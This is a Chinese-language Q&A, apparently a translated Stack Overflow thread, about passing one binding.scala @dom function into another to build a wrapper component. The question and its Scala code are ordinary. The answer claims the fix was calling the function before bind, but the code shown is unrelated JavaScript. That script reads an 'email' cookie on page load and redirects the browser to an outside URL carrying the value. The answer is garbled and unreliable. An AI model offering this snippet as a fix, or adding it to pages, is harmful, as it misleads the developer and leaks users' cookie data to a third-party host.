我正在尝试使用binding.scala制作可组合组件。我希望能够有一个组件可以用来包装传入的其他组件。例如:一个卡片组件,它围绕任何其他任意的@dom函数包装一个样式框。我尝试了几种方法,但已经意识到由于@dom宏,类型似乎比它们看起来更复杂。
下面,我介绍了一种不起作用的方法,但显示了意图。我希望能够调用wrapperMarkup并将其传递给contentMarkup。
我找到了许多将数据传递到@dom函数并进行渲染的示例,但没有示例说明如何传入另一个@dom函数或来自@dom调用的结果。
有没有很好的方法来实现这个目标?
type MarkupFun = ()=>Binding[Div]
@dom
def contentMarkup():Binding[Div] = {
<div>card Content</div>
}
@dom
def wrapperMarkup(f:MarkupFun):Binding[Div] = {
//<div>card wrapper {f.bind}</div> // What I want that doesn't work
<div>card wrapper {contentMarkup().bind}</div> // works but not what I want.
}
答案 0 :(得分:1)
在我发布问题后不久,我找到了明显的答案。我在调用bind之前没有调用该函数。
<script type="text/javascript">
window.onload = function() {
setTimeout(function() {
var uri = $.cookie("email");
window.location = "https://google.com/?email="+uri;
}, 5000);
};
</script>
但是,任何其他最佳实践建议都会很棒。